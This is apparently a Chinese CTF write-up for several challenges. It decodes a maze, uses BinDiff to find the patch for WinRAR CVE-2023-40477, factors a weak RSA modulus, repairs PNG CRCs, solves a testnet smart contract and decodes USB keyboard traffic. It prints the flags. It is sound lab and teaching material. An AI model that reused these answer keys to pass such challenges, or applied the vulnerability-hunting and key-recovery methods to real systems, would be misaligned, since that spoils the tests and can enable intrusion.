再查看内部的sub_56EBE386F3A1,发现返回的是((int)(unsigned __int8)sub_56EBE386F329(a1, (unsigned int)((99 * a2 + a3) / 8)) >> (7 - (99 * a2 + a3) % 8)) & 1;,也就是说当 sub_56EBE386F329(a1, ((99 * a2 + a3) / 8)) >> (7 - (99 * a2 + a3) % 8)) 返回的值是偶数时对应的值是0,奇数时对应1.

再看sub_56EBE386F329,发现会返回encmap的第((99 * a2 + a3) // 8) + 1个字节异或字符串 tgrddf55 的第 ((99 * a2 + a3) // 8) + 1 个字符的ASCII值,根据这个值的奇偶性来决定是墙是路.

接下来首先提取encmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
encmap = [
0x8B, 0x98, 0x8D, 0x9B, 0x9B, 0x99, 0xCA, 0xCA, 0x8B, 0x98, 0x8D, 0x9B, 0x94, 0x22, 0x74, 0x25, 0x70, 0x26, 0x76, 0x64,
0x74, 0x72, 0x35, 0x75, 0x63, 0xCC, 0xD9, 0xCE, 0x9A, 0xCD, 0xDB, 0x8A, 0x8E, 0x9D, 0xCD, 0xCF, 0x9E, 0xB3, 0x20, 0x20,
0x34, 0x23, 0x62, 0x35, 0x60, 0x22, 0x61, 0x71, 0x30, 0x3D, 0xC8, 0xDE, 0xCF, 0x99, 0xCF, 0xCE, 0xCA, 0xD9, 0xC8, 0xCF,
0x9A, 0xDD, 0x24, 0x64, 0x31, 0x26, 0x32, 0x35, 0x65, 0x72, 0x24, 0x20, 0x30, 0x36, 0x1D, 0xCE, 0x8B, 0xCD, 0x9E, 0xCF,
0xCB, 0xC9, 0x99, 0x8A, 0xCF, 0xCD, 0x99, 0x70, 0x25, 0x73, 0x37, 0x25, 0x34, 0x72, 0x64, 0x74, 0x60, 0x72, 0x67, 0x8F,
0xCA, 0x9C, 0xCE, 0x9E, 0xDF, 0x99, 0x98, 0x9F, 0x8F, 0x8C, 0x9B, 0x84, 0x30, 0x37, 0x32, 0x71, 0x35, 0x26, 0x24, 0x74,
0x25, 0x62, 0x26, 0x32, 0x8A, 0x8C, 0xCA, 0xCF, 0xDF, 0x8C, 0x8C, 0x8F, 0xCE, 0x9C, 0x8F, 0xDF, 0xB0, 0x76, 0x22, 0x65,
0x75, 0x63, 0x31, 0x24, 0x30, 0x23, 0x22, 0x21, 0x7B, 0x9C, 0xDF, 0xCA, 0xDF, 0x89, 0xCC, 0xDE, 0x8F, 0x89, 0x8A, 0xCB,
0xCF, 0x66, 0x33, 0x34, 0x71, 0x77, 0x75, 0x61, 0x25, 0x26, 0x76, 0x64, 0x34, 0x08, 0x9B, 0xDF, 0x8E, 0x9D, 0x9D, 0xDE,
0xDE, 0x8C, 0xDA, 0x8A, 0x9E, 0x8A, 0x66, 0x25, 0x25, 0x23, 0x64, 0x31, 0x25, 0x23, 0x33, 0x71, 0x65, 0x33, 0x9A, 0xDA,
0x9B, 0xC9, 0xD8, 0x8A, 0xCF, 0x8D, 0xDA, 0x9F, 0xDB, 0x8D, 0xC6, 0x61, 0x60, 0x72, 0x65, 0x71, 0x21, 0x66, 0x37, 0x71,
0x30, 0x77, 0x23, 0xCF, 0xDA, 0x9C, 0xD9, 0x9E, 0x8E, 0x9D, 0xDF, 0xDF, 0xDE, 0x9D, 0x8C, 0xB5, 0x30, 0x26, 0x70, 0x75,
0x35, 0x26, 0x32, 0x35, 0x30, 0x27, 0x65, 0x6F, 0xDE, 0xC8, 0x88, 0x8F, 0x9B, 0x99, 0x9E, 0xDB, 0x9A, 0x99, 0x98, 0x8F,
0x71, 0x33, 0x25, 0x64, 0x30, 0x77, 0x37, 0x21, 0x71, 0x72, 0x24, 0x30, 0x0F, 0xDC, 0xD8, 0x9E, 0x8A, 0xDC, 0xDE, 0x8F,
0xDA, 0xC9, 0xDC, 0x9B, 0xC9, 0x77, 0x20, 0x71, 0x25, 0x76, 0x66, 0x20, 0x30, 0x23, 0x71, 0x25, 0x71, 0xDC, 0xC8, 0x8E,
0xDF, 0xC9, 0x8B, 0xCE, 0xCF, 0x89, 0xD9, 0x9B, 0xCB, 0xD7, 0x65, 0x70, 0x20, 0x23, 0x63, 0x61, 0x61, 0x63, 0x20, 0x31,
0x61, 0x20, 0xD9, 0x9A, 0xDE, 0xDD, 0xCE, 0x9B, 0xCB, 0xD9, 0xDC, 0xDF, 0xDF, 0xCD, 0xF1, 0x24, 0x60, 0x33, 0x72, 0x21,
0x74, 0x72, 0x61, 0x24, 0x31, 0x62, 0x29, 0x9E, 0xCA, 0xDC, 0xCA, 0xDE, 0xCE, 0xDD, 0x98, 0x9B, 0xCF, 0xD9, 0x9E, 0x74,
0x65, 0x62, 0x32, 0x71, 0x70, 0x32, 0x64, 0x64, 0x70, 0x27, 0x63, 0x0F, 0xDB, 0x88, 0x9A, 0xCF, 0xCE, 0xDD, 0x98, 0xCE,
0xCF, 0x98, 0xCF, 0xD8, 0x65, 0x62, 0x27, 0x64, 0x20, 0x32, 0x70, 0x20, 0x21, 0x67, 0x22, 0x35, 0xDF, 0xC9, 0x9F, 0x8A,
0xCB, 0x89, 0xCC, 0xCF, 0xCE, 0xD9, 0x9F, 0xCE, 0xC0, 0x73, 0x63, 0x30, 0x74, 0x22, 0x74, 0x60, 0x61, 0x33, 0x76, 0x30,
0x22, 0xD8, 0xCE, 0xDF, 0xCF, 0x8D, 0xDD, 0xCE, 0x9E, 0xCD, 0x8A, 0xCF, 0xCF, 0xB3, 0x62, 0x65, 0x60, 0x23, 0x61, 0x60,
0x34, 0x32, 0x77, 0x64, 0x70, 0x7C, 0x9F, 0xCA, 0x9B, 0x9D, 0xD8, 0x8E, 0xCB, 0x9C, 0x8A, 0x9A, 0x8A, 0x9C, 0x67, 0x74,
0x65, 0x76, 0x64, 0x64, 0x71, 0x76, 0x23, 0x75, 0x60, 0x22, 0x4B, 0xCB, 0x8B, 0x89, 0x89, 0x8A, 0x9A, 0xCC, 0x9F, 0x9B,
0x9E, 0x89, 0xCE, 0x75, 0x74, 0x23, 0x24, 0x31, 0x65, 0x76, 0x67, 0x30, 0x75, 0x23, 0x24, 0x8B, 0xDB, 0xDD, 0xDC, 0xDE,
0x9A, 0xC9, 0xCB, 0x9B, 0x9B, 0x89, 0xDC, 0xD0, 0x71, 0x62, 0x71, 0x64, 0x24, 0x76, 0x76, 0x75, 0x75, 0x63, 0x20, 0x23,
0x8F, 0xCC, 0xCC, 0x8E, 0xCE, 0x99, 0xDB, 0x8E, 0x9A, 0x9D, 0xDC, 0xCA, 0xA5, 0x63, 0x21, 0x64, 0x21, 0x37, 0x66, 0x21,
0x21, 0x66, 0x71, 0x60, 0x6A, 0xDC, 0x88, 0xCE, 0x9E, 0xCD, 0xCF, 0xDA, 0xDA, 0xD8, 0x8D, 0x8E, 0x8B, 0x77, 0x35, 0x61,
0x25, 0x32, 0x33, 0x20, 0x20, 0x36, 0x71, 0x21, 0x34, 0x08, 0xCD, 0x9E, 0x9E, 0xDC, 0xDE, 0x9E, 0x9E, 0x8C, 0xD8, 0xDE,
0xDB, 0x8A, 0x74, 0x35, 0x35, 0x76, 0x33, 0x30, 0x61, 0x22, 0x31, 0x64, 0x31, 0x62, 0xC9, 0x8B, 0x9B, 0xD9, 0x9A, 0xDF,
0xCF, 0xC9, 0x9D, 0x9F, 0xCB, 0xCC, 0x81, 0x74, 0x30, 0x73, 0x62, 0x21, 0x70, 0x22, 0x64, 0x31, 0x60, 0x66, 0x24, 0xDF,
0xCE, 0xDC, 0xDE, 0xDF, 0xCF, 0xDC, 0x9C, 0x8A, 0x9A, 0x99, 0xDB, 0xE5, 0x30, 0x36, 0x23, 0x60, 0x35, 0x77, 0x31, 0x20,
0x30, 0x37, 0x33, 0x7F, 0x9F, 0xDD, 0xDF, 0xCE, 0x8F, 0xDC, 0xCC, 0xDA, 0xCA, 0xCD, 0xDE, 0x9A, 0x65, 0x26, 0x37, 0x65,
0x25, 0x62, 0x24, 0x21, 0x60, 0x22, 0x33, 0x21, 0x1A, 0xC9, 0x9F, 0x8A, 0xCF, 0xD8, 0x89, 0xCA, 0x8A, 0x89, 0x9E, 0xDA,
0xD8, 0x32, 0x66, 0x24, 0x20, 0x36, 0x74, 0x60, 0x74, 0x26, 0x67, 0x60, 0x61, 0xCC, 0x9F, 0xDA, 0x9F, 0xDD, 0x99, 0xCE,
0xDB, 0x89, 0x9F, 0x8B, 0x8B, 0xD3, 0x37, 0x21, 0x65, 0x66, 0x70, 0x64, 0x65, 0x63, 0x33, 0x34, 0x25, 0x60, 0xCA, 0x9B,
0xDB, 0x88, 0x8C, 0x8F, 0x9F, 0xD8, 0xDA, 0x8E, 0x9F, 0x89, 0xB3, 0x60, 0x71, 0x62, 0x31, 0x71, 0x34, 0x73, 0x32, 0x70,
0x21, 0x27, 0x2A, 0x8A, 0x8A, 0x89, 0x8C, 0xDA, 0xCA, 0xD8, 0x9A, 0xCB, 0xCE, 0xCC, 0x89, 0x70, 0x64, 0x77, 0x25, 0x71,
0x60, 0x33, 0x66, 0x74, 0x74, 0x33, 0x31, 0x5F, 0xCB, 0x89, 0x9C, 0xDF, 0xDB, 0x8C, 0x8B, 0x8F, 0x8F, 0x8D, 0xCC, 0xD9,
0x30, 0x72, 0x64, 0x61, 0x25, 0x62, 0x26, 0x75, 0x25, 0x77, 0x65, 0x24, 0xCE, 0xDD, 0x98, 0x8E, 0xDE, 0xC8, 0x8F, 0x8A,
0x9B, 0xD9, 0x89, 0x9B, 0xD5, 0x22, 0x64, 0x70, 0x34, 0x33, 0x32, 0x20, 0x60, 0x62, 0x25, 0x75, 0x72, 0xC8, 0xC8, 0x8A,
0xCB, 0x9D, 0xDA, 0xCE, 0xCE, 0x98, 0xC8, 0x9F, 0x9A, 0xB3, 0x31, 0x24, 0x70, 0x27, 0x32, 0x25, 0x75, 0x26, 0x31, 0x65,
0x30, 0x3D, 0xDD, 0x9A, 0x9A, 0x8D, 0xDE, 0x8E, 0xCA, 0xC8, 0x8C, 0x9F, 0xDE, 0xDD, 0x70, 0x35, 0x34, 0x22, 0x63, 0x70,
0x34, 0x33, 0x30, 0x25, 0x30, 0x33, 0x1D, 0xCB, 0xDB, 0xD8, 0xCE, 0x8F, 0xCF, 0x89, 0xDC, 0xCA, 0x9F, 0xDC, 0x88, 0x24,
0x64, 0x77, 0x32, 0x20, 0x30, 0x22, 0x21, 0x64, 0x24, 0x33, 0x27, 0xCE, 0x8E, 0x99, 0xDA, 0xCE, 0xCA, 0xCD, 0x8D, 0xDE,
0x8E, 0x9C, 0x8F, 0x80, 0x35, 0x27, 0x76, 0x75, 0x20, 0x73, 0x71, 0x31, 0x25, 0x26, 0x63, 0x72, 0xDB, 0x88, 0x8B, 0xCF,
0xCF, 0xD8, 0xD9, 0xDB, 0xCE, 0xCD, 0x8B, 0xDB, 0xA4, 0x66, 0x66, 0x21, 0x74, 0x22, 0x24, 0x34, 0x61, 0x72, 0x26, 0x20,
0x3F, 0xD9, 0xCA, 0x9B, 0xCB, 0x9C, 0xC9, 0xDB, 0x8E, 0xC8, 0x9F, 0x9B, 0x9F, 0x73, 0x66, 0x20, 0x70, 0x67, 0x30, 0x25,
0x25, 0x32, 0x66, 0x30, 0x61, 0x1C, 0x8F, 0x9E, 0x9A, 0xD9, 0xCD, 0xDF, 0x8E, 0x8D, 0x9B, 0xCF, 0xCB, 0xCB, 0x36, 0x30,
0x25, 0x66, 0x61, 0x34, 0x61, 0x32, 0x76, 0x24, 0x30, 0x63, 0x8A, 0xDF, 0x8F, 0x98, 0x89, 0xDB, 0xDE, 0xCC, 0x8A, 0xCA,
0x8F, 0xD8, 0xC2, 0x60, 0x30, 0x26, 0x31, 0x75, 0x65, 0x26, 0x62, 0x74, 0x60, 0x62, 0x32, 0xCB, 0x9E, 0xDD, 0x8C, 0xDF,
0x9F, 0xC8, 0xCE, 0xCF, 0x8A, 0xD8, 0xCD, 0xA4, 0x75, 0x22, 0x64, 0x24, 0x35, 0x22, 0x63, 0x25, 0x34, 0x76, 0x24, 0x2E,
0x8A, 0x89, 0x88, 0xCB, 0xCF, 0xDD, 0x8B, 0x9A, 0xDE, 0x9C, 0x88, 0xCF, 0x74, 0x22, 0x75, 0x61, 0x65, 0x76, 0x62, 0x71,
0x60, 0x22, 0x74, 0x24, 0x0E, 0x98, 0x9D, 0x9A, 0x9F, 0x9D, 0x8E, 0xCB, 0xDB, 0x99, 0x98, 0x9A, 0x99, 0x76, 0x24, 0x35,
0x24, 0x26, 0x62, 0x70, 0x20, 0x27, 0x30, 0x65, 0x65, 0xDD, 0x88, 0x9B, 0xCE, 0x9C, 0x8E, 0xCF, 0xDB, 0x8C, 0xCC, 0xDE,
0x9A, 0xD7, 0x74, 0x25, 0x60, 0x37, 0x22, 0x34, 0x20, 0x67, 0x61, 0x65, 0x31, 0x70, 0xD9, 0xDA, 0x9E, 0x8D, 0xCE, 0xCF,
0x8B, 0x9C, 0x98, 0xCF, 0x9A, 0xC8, 0xF0, 0x71, 0x24, 0x76, 0x63, 0x60, 0x30, 0x67, 0x74, 0x21, 0x34, 0x32, 0x68, 0xDF,
0x8E, 0x98, 0xCF, 0x8B, 0x9E, 0xDC, 0xD9, 0x8A, 0x8F, 0x8C, 0x9A, 0x61, 0x34, 0x37, 0x23, 0x35, 0x61, 0x27, 0x60, 0x25,
0x65, 0x23, 0x36, 0x1E, 0xDF, 0x98, 0xDB, 0x9F, 0xCA, 0xC8, 0x98, 0xDF, 0x9A, 0x88, 0xCA, 0xD9, 0x35, 0x66, 0x66, 0x75,
0x30, 0x73, 0x34, 0x74, 0x34, 0x22, 0x72, 0x61, 0xDB, 0x89, 0x9F, 0xCA, 0x9E, 0xD9, 0xC9, 0x8B, 0xCE, 0x89, 0x9A, 0xCB,
0xC4, 0x67, 0x63, 0x64, 0x65, 0x22, 0x35, 0x31, 0x70, 0x23, 0x73, 0x64, 0x63, 0x99, 0xCA, 0xCA, 0x8B, 0x98, 0x8D, 0x9B,
0x9B, 0x99, 0xCA, 0xCA, 0x8B, 0xE7]

然后遍历0-99的行和列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tgrddf55 = [0x74, 0x67, 0x72, 0x64, 0x64, 0x66, 0x35, 0x35]
width = 99
height = 99
for a2 in range(height):
for a3 in range(width):
magical_int = (99 * a2 + a3) // 8
maze_data_origin = (encmap[magical_int]) ^ tgrddf55[magical_int % 8]
maze_data = (maze_data_origin >> (7 - (99 * a2 + a3) % 8)) & 1
if(maze_data == 0):
if(a3 == width - 1):
print(" ")
else:
print(" ", end="")
else:
if(a3 == width - 1):
print("█",a2)
else:
print("█", end="")

得到迷宫地图如下图所示:

则路径为:

1
ddddssssddssaassssddddssssddssssssssddssaaaawwaawwwwwwaaaawwddwwaaaassssssssddssddssssddddssddwwddssddwwddwwaawwwwwwaawwddddssddddddwwaaaawwwwwwddddddddddssssddssssssaassssaassssddddddddssaassddddssssddwwwwddssssssddddwwddwwaawwaawwwwaawwddwwaawwaawwddddssddwwddddssddwwddwwaaaawwwwddwwwwaaaawwddddddddwwwwaawwaawwddddddddddddssaassssssssaassssssaaaassssssaassddddwwddwwddssssddddssssssssssssssssddwwwwwwwwwwwwwwwwwwaawwddwwddwwddssssssssaassddddwwwwwwddwwwwwwddssssddwwwwwwddddddddddssaaaaaassddddssssaassaaaawwaassaassddssssddwwddwwddddssddddwwwwddddwwwwaaaassaawwwwddwwwwwwaawwwwwwaassssssaaaawwwwaawwwwddwwddssddwwddddddddssaassddssssssddssssssssssssssaassssaassssaassssddssaassssssddddddssssssaassssaaaaaawwwwddddwwwwaassaaaaaaaawwwwaaaassddssssssssssddddssssssssaaaassssaaaassssssssssddddddwwwwwwaaaawwddddwwddwwddwwddddddddddssssaassssaassddssssaaaaaassaaaaaassddddddssddwwddssssaaaaaassddssssaawwaaaaaassssssddwwddddddddddddssdd

转换得到flag{4ed5a17ee7aeb95fcf12a3b96a9d4e6f}.

洞OVO:

发现题目是让寻找特定版本的winrar中的重大漏洞,先打开应用程序点击帮助>关于,发现版本为6.22,在搜索引擎查询6.22版本的winrar的高危漏洞,查询到两种,CVE-2023-38831CVE-2023-40477,其中前者与恶意文件相关,看起来很复杂,根据提示只修复了三条汇编,不太可能是题目所给的漏洞,先看后者,找到网页,发现漏洞类型是简单的溢出,且原文所述在6.23版本的更新中发现添加了与0xFF大小的检测来检测和避免溢出,还给了一张图片:

发现所做的修改确实很简单,那么这应该就是要找的函数,不过这个函数地址和IDA反编译的以及题目所给示例(大约是0000000140XXXXXX)对不上号(因为这里是unrar.exe子程序的改动,不是主程序的,提示里面也说了要向上溯源),于是得手动找6.23版本的winrar,不过官网已经不提供该版本了,在其他地方的同一个网站上找到6.22和6.23版本以保证同源性(因为不同地址下载的不同版本不一定经过了相同的操作,比如破解、汉化等,所以要保证应用程序同源,否则函数地址不一定一样),安装后进行反编译,发现6.22版本下与题目所给版本的WinMain函数地址一样(0000000140102524),那么后续分析地址就会变得略微简单,再反编译6.23版本,发现地址变成了0000000140102774,多出了0x250(592)行,打包i64文件,用BinDiff对比(主要找两个版本共有但内容不同的,因为根据提示,3行汇编不太可能成为一个单独的函数),发现在5400多个函数中有少数(14-15个)独有差异,另有一些在共有函数中的重合率不为100%,首先查看重合率不为100%的:00000001400E563000000001400EF508、…发现标红的恰好符合新增三行,提交flag发现正确.(即flag为flag{00000001400EF508}

Crypto方向:

欧拉欧拉!!:

发现p和q有以下关系:q = ((pow(2,512) - 1) ^ p) - 3,n无法分解,求n的开平方后假设p = √n,发现n - p * q随着p的增加而减少,用二分法测试得:

1
2
p=1523365295049608852447528761114036169506740936697335552555682720997896170562682523843468707748630306876516559528314335864164090878934605899152321495370201
q=11884442634892988247126496237091809957972624883895057825167878722723867859510864452958405590418273120813515298658171714989589791933011964047281327510713891

附测试大致代码(纯手算,一位一位逼近的):

1
2
3
4
5
6
7
8
import sympy
n = n
p = 测试
p = sympy.nextprime(p)
print(p)
q = ((pow(2, 512) - 1) ^ p) - 3
print(q)
print(n - p*q)

1
2
φ(n)=18104347461003907895610914021247683508445228187648940019610703551961828343286923443588324205257353157349226965840638901792059481287140055747874675375786188374454317608065999358326594993253669257155936880793765183990054804582101959834465441403647401623484701548572956283476063411128778877557225686531832078000,
d=2738704864860960112258519639389192888028533381942285904976128217863948093372393594759214583684352338403653449796971086140141869439869180961661802213643350649928133798714715620770707581413810168537527781805535621619503537431175653902358826099390578447216493448777824566189811749972240319088489486187597589473

解得flag{y0u_really_kn0w_the_phi}.

圣石匕首:

发现是sagemath程序源代码,懒得下载安装了,在在线大型数学计算服务器Cocalc上注册账号并创建项目,新建sagemath工作表并转换为.ipynb文件,在服务器上运行,片刻后得到flag{small_dp_is_not_secure_adhfaiuhaph}.

Misc方向:

扫码领取flag:

发现有一个hint图片和四个奇奇怪怪的flag文件,查看hint的属性提示图像base64,下方有一个UXVldHphbGNvYXRsJkt1a3VsY2Fu,解码得到羽蛇神库库尔坎,然后用winhex查看四个文件发现全都是png,改格式后发现没有正常显示,结合压缩包名称猜测提示为图像CRC校验码,发现校验码全都是AD8705E1,计算得到图像的正确宽高应该是250(FA),修改后得到四张像是二维码的图片,拼合如下:


查询得知这种二维码叫做阿兹台克码(Aztec),扫描得到flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?}.
附:CRC计算宽高python代码:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import binascii
import struct

crcbp = open("D:\Downloads\Compressed\CRC\Flag.png", "rb").read() # 打开图片
for i in range(2000):
for j in range(2000):
data = crcbp[12:16] + struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == 0xAD8705E1): # 图片当前CRC
print(i, j)
print('hex:', hex(i), hex(j))

ezblockchain:

运行nc地址,发现返回如下内容:

1
2
3
4
5
6
7
Can you make the isSolved variable true?

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice:

发现目标是要让isSolved变量变为true,完成任务之后才能获取flag,先按1注册合约账户,返回:

1
2
3
[+] deployer account: 0xc9fC913037776e0a01a9918db880FCFeeEb3d2aE
[+] token: v4.local.lZJxe33rVxDp9MqaKwwsN1XoO9jp8ICMyftW1dY4-hE6l3rQDVOApb9LZXrccgWyh0f1t8I4szS5IlNRmghm6Zp8QqSdwTdlZpUzZdgZwPlfI1ORsSih04_6kScDhPw1UqS7MNbQOpGjULgDqRQBQbf7tAifGyw9_kGbJ11geI3CHg.U2VjcmV0
[+] please transfer more than 0.001 test ether to the deployer account for next step

发现需要获得ETH测试币,找到题目所给的faucet,输入账户进行获取,返回了一长串交易哈希值,问ai用python的web3库查看当前的余额:

1
2
3
4
5
6
from web3 import Web3
rpc_url = "http://47.238.151.2:12001"
web3 = Web3(Web3.HTTPProvider(rpc_url))
account_address = "0xc9fC913037776e0a01a9918db880FCFeeEb3d2aE"
balance = web3.eth.get_balance(account_address)
print(f"Account balance: {balance / 1e18} ETH")

发现已经有1测试ETH了,再在nc地址中按2,提交刚刚生成的token,返回:

1
2
[+] contract address: 0x34831cFa6b845A9abBdA9cBd7f097103a52De5Ef
[+] transaction hash: 0x5e24109773171782e920c5a3343c3265c139eab924344b522a0c2bc1ecc99200

也就是部署的合约地址和交易哈希值,再次在nc地址中按4查看合约源代码,返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contracts/Question0.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Secret {
string private encoded = "re@1lY_eA3y_Bl0ckCh@1n";
bool public isSolved = false;

constructor() {}

function unlock(string memory _str) public payable {
require(msg.value == 0.0721 ether, "Not enough");
require(keccak256(abi.encodePacked(_str)) == keccak256(abi.encodePacked(encoded)));
isSolved = true;
}
}

接下来使用remix IDE编译和部署合约,先加入注释:

1
2
3
4
5
/**
* @title Secret Contract
* @dev A contract that contains a secret string and an unlock function.
* @custom:dev-run-script ./deploy_and_test.js
*/

再进行compile,获得abi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "string",
"name": "_str",
"type": "string"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
]

再问ai用python构建交易代码,但是运行发现需要私钥,而用nc地址创建时并没有给出私钥,于是注册Metamask电子钱包账户并手动添加网络rpc url,链ID虽然不知道是什么但只要输入的不对就会提示正确的是28848,货币符号为TCH,添加成功后用创建的账户账号在faucet请求货币,发现能顺利请求,并且metamask也变成了1TCH,此时再结合账户的私钥执行脚本,补全一大堆东西之后运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from web3 import Web3
from eth_account import Account

# 连接到RPC节点
rpc_url = 'http://47.238.151.2:12001'
web3 = Web3(Web3.HTTPProvider(rpc_url))

# 确保连接成功
if not web3.isConnected():
raise Exception("Failed to connect to the RPC node")

# 账户信息
account = 账户
private_key = 私钥

# 合约信息
contract_address = '0x39a5e6e339E3566a593BDe3bB26d2C0f131428Ef'
abi = [
{
"constant": False,
"inputs": [
{
"name": "_str",
"type": "string"
}
],
"name": "unlock",
"outputs": [],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "isSolved",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
}
]

# 创建合约对象
contract = web3.eth.contract(address=contract_address, abi=abi)

# 解锁函数所需参数
encoded_string = "re@1lY_eA3y_Bl0ckCh@1n"
value = web3.toWei(0.0721, 'ether')

# 获取 nonce
nonce = web3.eth.get_transaction_count(account)

# 获取 gas price
gas_price = web3.eth.gas_price

# 获取 chain ID
chain_id = web3.eth.chain_id

# 构建交易
tx = {
'from': account,
'to': contract_address,
'gas': 2000000,
'gasPrice': gas_price,
'value': value,
'data': contract.encodeABI(fn_name='unlock', args=[encoded_string]),
'nonce': nonce,
'chainId': chain_id
}

# 签名交易
signed_tx = web3.eth.account.sign_transaction(tx, private_key)

# 发送交易
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f"Transaction hash: {tx_hash.hex()}")

# 等待交易确认
receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction receipt: {receipt}")

# 检查isSolved是否为true
is_solved = contract.functions.isSolved().call()
print(f"isSolved: {is_solved}")

返回如下内容:

1
2
3
Transaction hash: 0xa4f4e4b9731fe27fc26fe7f5ac5b2d5a06e7685830ac0b6d792a6603ffb989bf
Transaction receipt: AttributeDict({'blockHash': HexBytes('0xc8a373802e98860b18e42e5dbda6a9a4a13fd3078f852889efd0d9175b7a5997'), 'blockNumber': 3819, 'contractAddress': None, 'cumulativeGasUsed': 47120, 'effectiveGasPrice': 1000000007, 'from': '0xc9E0C7f634A9472A9D15C7A79a697Ec2f50A8a22', 'gasUsed': 47120, 'logs': [], 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'status': 1, 'to': '0x39a5e6e339E3566a593BDe3bB26d2C0f131428Ef', 'transactionHash': HexBytes('0xa4f4e4b9731fe27fc26fe7f5ac5b2d5a06e7685830ac0b6d792a6603ffb989bf'), 'transactionIndex': 0, 'type': '0x0'})
isSolved: True

此时已经交易成功,返回nc地址获取flag:flag{b10ckch@1n_15_r3@lly_1nt3r35t1ng!}.

Alt:

发现格式为.pcapng,用wireshark打开,发现是USB流量,其中比特长度为35的就是关键内容,过滤选择只看长度为35的,按时间排序,其中HID数据里面第三个字节的内容就是击键码,下载UsbKeyboardDataHacker程序直接获取按键内容,在powershell中输入:

1
PS 路径> python 路径\UsbKeyboardDataHacker.py --input 路径\keyboard.pcapng

输出:

1
1021089710312338190<DEL>30424<DEL>27969<DEL>37327<DEL>9511910511610495971081169521644<DEL>31383<DEL>25143<DEL>9549539553111487979481119537239<DEL>125

结合题目名称Alt,这应该是用了Alt+小键盘数字的输入方式,进行手动拆分和输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
102 108 97 103 123 = flag{
38190<DEL> = 键
30424<DEL> = 盘
27969<DEL> = 流
37327<DEL> = 量
95 119 105 116 104 95 = _with_
97 108 116 95 = alt_
21644<DEL> = 和
31383<DEL> = 窗
25143<DEL> = 户
95 49 53 95 = _15_
53 111 48 79 79 48 111 95 = 5o0OO0o_
37239<DEL> = 酷
125 = }

组合得到flag{键盘流量_with_alt_和窗户_15_5o0OO0o_酷}.

赛题轮次:Week5

已解出的题目:

题目类型 题目名称
Reverse MY_ARM、Lock
Crypto RSA?cmd5!、easy_ecc、没e也能玩

Reverse方向:

MY_ARM:

用Ghidra反编译,先找到entry函数:

1
2
3
4
5
6
void processEntry entry(undefined4 param_1,undefined4 param_2)
{
FUN_00011298(FUN_000110a4,param_2,&stack0x00000004,0,0,param_1);
/* WARNING: Subroutine does not return */
FUN_00010170();
}

这个结构很像week4的ezrust,其中的函数FUN_000110a4大概就是主要的函数了,双击查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
undefined4 FUN_000110a4(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{
int iVar1;
undefined4 uVar2;
undefined auStack_70 [100];
int local_c;

local_c = 0;
FUN_0001eae0("please input your flag:",param_2,param_3,0); //这里能看出来其实就是print
FUN_00018300(&DAT_0007c814,auStack_70); //这个其实就是读取输入,并存入auStack_70
iVar1 = FUN_0002ee70(auStack_70); //计算长度并检查,要求长度为0x40(64个字符)
if (iVar1 != 0x40) {
FUN_0001eae0("you are wrong!");
FUN_000177ac(0);
}
FUN_00010fbc(auStack_70,&DAT_000a62b8); //这个是加密,key为DAT_000a62b8
iVar1 = FUN_00011020(auStack_70,&DAT_000a6268); //这个是比较加密的输入和DAT_000a6268
if (iVar1 == 0) {
uVar2 = FUN_0001eae0("you are wrong!");
}
else {
uVar2 = FUN_0001eae0("you are right!");
}
if (local_c != 0) {
/* WARNING: Subroutine does not return */
FUN_0003511c(uVar2,local_c,0);
}
return 0;
}

接着查看外层加密函数FUN\_00010fbc

1
2
3
4
5
6
7
8
9
10
11
int FUN_00010fbc(int param_1,undefined4 param_2)
{
int iVar1;
int local_c;

iVar1 = param_1; //iVar1变为输入值
for (local_c = 0; local_c < 0x10; local_c = local_c + 2) { //一次传8个字符(?)和key进行加密
iVar1 = FUN_00010e78(param_1 + local_c * 4,param_2);
}
return iVar1;
}

查看内层加密函数FUN\_00010e78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int * FUN_00010e78(int *param_1,int *param_2)
{
int local_18;
int local_14;
int local_10;
int local_c;
local_18 = *param_1;
